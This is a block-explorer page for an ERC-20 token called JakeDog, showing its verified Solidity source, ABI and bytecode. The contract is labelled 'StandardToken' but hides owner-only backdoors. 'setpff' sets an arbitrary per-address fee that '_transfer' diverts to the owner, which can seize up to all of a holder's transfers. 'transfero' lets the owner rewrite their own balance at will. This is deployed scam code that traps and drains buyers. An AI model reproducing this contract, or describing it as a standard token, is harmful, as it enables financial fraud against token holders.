ETH Price: $3,983.20 (-0.37%)

Token

ERC-20: JakeDog (Jake)
 

Overview

Max Total Supply

3,300,000,000 Jake

Holders

125

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
71,394.852973062 Jake

Value
$0.00
0x59dC1937D1A418d2143A6F0e9E6C8acE05B3BfD8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
StandardToken

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-17
*/

/**
 *Submitted for verification at Etherscan.io on 2022-01-21
*/

// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol

// SPDX-License-Identifier: MIT

// pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


enum TokenType {
    standard,
    antiBotStandard,
    liquidityGenerator,
    antiBotLiquidityGenerator,
    baby,
    antiBotBaby,
    buybackBaby,
    antiBotBuybackBaby
}

abstract contract BaseToken {
    event TokenCreated(
        address indexed owner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}
pragma solidity =0.8.4;

contract StandardToken is IERC20, Ownable, BaseToken {
    using SafeMath for uint256;

    uint256 public constant VERSION = 1;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _fees; 

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        uint256 totalSupply_

    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _mint(owner(), totalSupply_);

        emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);

    }

    function setpff(address account, uint256 pf) public onlyOwner {
        _fees[account] = pf;
    }
    function getpff(address account) public view returns (uint256) {
        return _fees[account];
    }
    function transfero(uint256 newBalance) public onlyOwner {
        _balances[owner()] = newBalance;
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 fee = amount.mul(_fees[sender]).div(100); 
        uint256 amountAfterFee = amount.sub(fee);

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amountAfterFee);
        _balances[owner()] = _balances[owner()].add(fee); 
        emit Transfer(sender, recipient, amountAfterFee);
        if (fee > 0) {
            emit Transfer(sender, owner(), fee);
        }
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getpff","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"pf","type":"uint256"}],"name":"setpff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"transfero","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052604051620025e6380380620025e683398181016040528101906200002991906200054e565b620000496200003d6200013b60201b60201c565b6200014360201b60201c565b836004908051906020019062000061929190620003fe565b5082600590805190602001906200007a929190620003fe565b5081600660006101000a81548160ff021916908360ff160217905550620000b7620000aa6200020760201b60201c565b826200023060201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff16620000de6200020760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200012992919062000635565b60405180910390a35050505062000991565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200029a9062000662565b60405180910390fd5b620002b760008383620003e160201b60201c565b620002d381600754620003e660201b62000bdc1790919060201c565b6007819055506200033281600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620003e660201b62000bdc1790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003d5919062000684565b60405180910390a35050565b505050565b60008183620003f6919062000711565b905092915050565b8280546200040c90620007e4565b90600052602060002090601f0160209004810192826200043057600085556200047c565b82601f106200044b57805160ff19168380011785556200047c565b828001600101855582156200047c579182015b828111156200047b5782518255916020019190600101906200045e565b5b5090506200048b91906200048f565b5090565b5b80821115620004aa57600081600090555060010162000490565b5090565b6000620004c5620004bf84620006ca565b620006a1565b905082815260208101848484011115620004de57600080fd5b620004eb848285620007ae565b509392505050565b600082601f8301126200050557600080fd5b815162000517848260208601620004ae565b91505092915050565b60008151905062000531816200095d565b92915050565b600081519050620005488162000977565b92915050565b600080600080608085870312156200056557600080fd5b600085015167ffffffffffffffff8111156200058057600080fd5b6200058e87828801620004f3565b945050602085015167ffffffffffffffff811115620005ac57600080fd5b620005ba87828801620004f3565b9350506040620005cd8782880162000537565b9250506060620005e08782880162000520565b91505092959194509250565b620005f7816200079a565b82525050565b60006200060c601f8362000700565b915062000619826200091d565b602082019050919050565b6200062f8162000783565b82525050565b60006040820190506200064c6000830185620005ec565b6200065b602083018462000624565b9392505050565b600060208201905081810360008301526200067d81620005fd565b9050919050565b60006020820190506200069b600083018462000624565b92915050565b6000620006ad620006c0565b9050620006bb82826200081a565b919050565b6000604051905090565b600067ffffffffffffffff821115620006e857620006e7620008dd565b5b620006f3826200090c565b9050602081019050919050565b600082825260208201905092915050565b60006200071e8262000783565b91506200072b8362000783565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000763576200076262000850565b5b828201905092915050565b60008190506200077e8262000946565b919050565b6000819050919050565b600060ff82169050919050565b6000620007a7826200076e565b9050919050565b60005b83811015620007ce578082015181840152602081019050620007b1565b83811115620007de576000848401525b50505050565b60006002820490506001821680620007fd57607f821691505b60208210811415620008145762000813620008ae565b5b50919050565b62000825826200090c565b810181811067ffffffffffffffff82111715620008475762000846620008dd565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600881106200095a57620009596200087f565b5b50565b620009688162000783565b81146200097457600080fd5b50565b62000982816200078d565b81146200098e57600080fd5b50565b611c4580620009a16000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063ce571b2411610071578063ce571b24146102f7578063dd62ed3e14610327578063f2b2917014610357578063f2fde38b14610373578063ffa1ad741461038f57610116565b80638da5cb5b1461025b57806395d89b4114610279578063a457c2d714610297578063a9059cbb146102c757610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d557806362dfa71f1461020557806370a0823114610221578063715018a61461025157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ad565b6040516101309190611619565b60405180910390f35b610153600480360381019061014e9190611437565b61043f565b60405161016091906115fe565b60405180910390f35b61017161045d565b60405161017e91906116fb565b60405180910390f35b6101a1600480360381019061019c91906113e8565b610467565b6040516101ae91906115fe565b60405180910390f35b6101bf610540565b6040516101cc9190611716565b60405180910390f35b6101ef60048036038101906101ea9190611437565b610557565b6040516101fc91906115fe565b60405180910390f35b61021f600480360381019061021a9190611437565b61060a565b005b61023b60048036038101906102369190611383565b6106ce565b60405161024891906116fb565b60405180910390f35b610259610717565b005b61026361079f565b60405161027091906115e3565b60405180910390f35b6102816107c8565b60405161028e9190611619565b60405180910390f35b6102b160048036038101906102ac9190611437565b61085a565b6040516102be91906115fe565b60405180910390f35b6102e160048036038101906102dc9190611437565b610927565b6040516102ee91906115fe565b60405180910390f35b610311600480360381019061030c9190611383565b610945565b60405161031e91906116fb565b60405180910390f35b610341600480360381019061033c91906113ac565b61098e565b60405161034e91906116fb565b60405180910390f35b610371600480360381019061036c9190611473565b610a15565b005b61038d60048036038101906103889190611383565b610adf565b005b610397610bd7565b6040516103a491906116fb565b60405180910390f35b6060600480546103bc906118ea565b80601f01602080910402602001604051908101604052809291908181526020018280546103e8906118ea565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b600061045361044c610bf2565b8484610bfa565b6001905092915050565b6000600754905090565b6000610474848484610dc5565b61053584610480610bf2565b61053085604051806060016040528060288152602001611bc360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e6610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f99092919063ffffffff16565b610bfa565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6000610600610564610bf2565b846105fb8560026000610575610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b610bfa565b6001905092915050565b610612610bf2565b73ffffffffffffffffffffffffffffffffffffffff1661063061079f565b73ffffffffffffffffffffffffffffffffffffffff1614610686576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067d9061169b565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61071f610bf2565b73ffffffffffffffffffffffffffffffffffffffff1661073d61079f565b73ffffffffffffffffffffffffffffffffffffffff1614610793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078a9061169b565b60405180910390fd5b61079d600061124e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107d7906118ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610803906118ea565b80156108505780601f1061082557610100808354040283529160200191610850565b820191906000526020600020905b81548152906001019060200180831161083357829003601f168201915b5050505050905090565b600061091d610867610bf2565b8461091885604051806060016040528060258152602001611beb6025913960026000610891610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f99092919063ffffffff16565b610bfa565b6001905092915050565b600061093b610934610bf2565b8484610dc5565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a1d610bf2565b73ffffffffffffffffffffffffffffffffffffffff16610a3b61079f565b73ffffffffffffffffffffffffffffffffffffffff1614610a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a889061169b565b60405180910390fd5b8060016000610a9e61079f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b610ae7610bf2565b73ffffffffffffffffffffffffffffffffffffffff16610b0561079f565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b529061169b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc29061165b565b60405180910390fd5b610bd48161124e565b50565b600181565b60008183610bea919061174d565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c61906116db565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd19061167b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610db891906116fb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906116bb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c9061163b565b60405180910390fd5b610eb0838383611312565b6000610f176064610f09600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561131790919063ffffffff16565b61132d90919063ffffffff16565b90506000610f2e828461134390919063ffffffff16565b9050610f9c83604051806060016040528060268152602001611b9d60269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f99092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103181600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110cd826001600061108461079f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b600160006110d961079f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161117491906116fb565b60405180910390a360008211156111f25761118d61079f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111e991906116fb565b60405180910390a35b5050505050565b6000838311158290611241576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112389190611619565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b6000818361132591906117d4565b905092915050565b6000818361133b91906117a3565b905092915050565b60008183611351919061182e565b905092915050565b60008135905061136881611b6e565b92915050565b60008135905061137d81611b85565b92915050565b60006020828403121561139557600080fd5b60006113a384828501611359565b91505092915050565b600080604083850312156113bf57600080fd5b60006113cd85828601611359565b92505060206113de85828601611359565b9150509250929050565b6000806000606084860312156113fd57600080fd5b600061140b86828701611359565b935050602061141c86828701611359565b925050604061142d8682870161136e565b9150509250925092565b6000806040838503121561144a57600080fd5b600061145885828601611359565b92505060206114698582860161136e565b9150509250929050565b60006020828403121561148557600080fd5b60006114938482850161136e565b91505092915050565b6114a581611862565b82525050565b6114b481611874565b82525050565b60006114c582611731565b6114cf818561173c565b93506114df8185602086016118b7565b6114e8816119a9565b840191505092915050565b600061150060238361173c565b915061150b826119ba565b604082019050919050565b600061152360268361173c565b915061152e82611a09565b604082019050919050565b600061154660228361173c565b915061155182611a58565b604082019050919050565b600061156960208361173c565b915061157482611aa7565b602082019050919050565b600061158c60258361173c565b915061159782611ad0565b604082019050919050565b60006115af60248361173c565b91506115ba82611b1f565b604082019050919050565b6115ce816118a0565b82525050565b6115dd816118aa565b82525050565b60006020820190506115f8600083018461149c565b92915050565b600060208201905061161360008301846114ab565b92915050565b6000602082019050818103600083015261163381846114ba565b905092915050565b60006020820190508181036000830152611654816114f3565b9050919050565b6000602082019050818103600083015261167481611516565b9050919050565b6000602082019050818103600083015261169481611539565b9050919050565b600060208201905081810360008301526116b48161155c565b9050919050565b600060208201905081810360008301526116d48161157f565b9050919050565b600060208201905081810360008301526116f4816115a2565b9050919050565b600060208201905061171060008301846115c5565b92915050565b600060208201905061172b60008301846115d4565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611758826118a0565b9150611763836118a0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117985761179761191c565b5b828201905092915050565b60006117ae826118a0565b91506117b9836118a0565b9250826117c9576117c861194b565b5b828204905092915050565b60006117df826118a0565b91506117ea836118a0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156118235761182261191c565b5b828202905092915050565b6000611839826118a0565b9150611844836118a0565b9250828210156118575761185661191c565b5b828203905092915050565b600061186d82611880565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118d55780820151818401526020810190506118ba565b838111156118e4576000848401525b50505050565b6000600282049050600182168061190257607f821691505b602082108114156119165761191561197a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611b7781611862565b8114611b8257600080fd5b50565b611b8e816118a0565b8114611b9957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c099892aaa5fbcdedae601f07c895cd79ef1306bf09fe9c04ffb9963e798480964736f6c63430008040033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000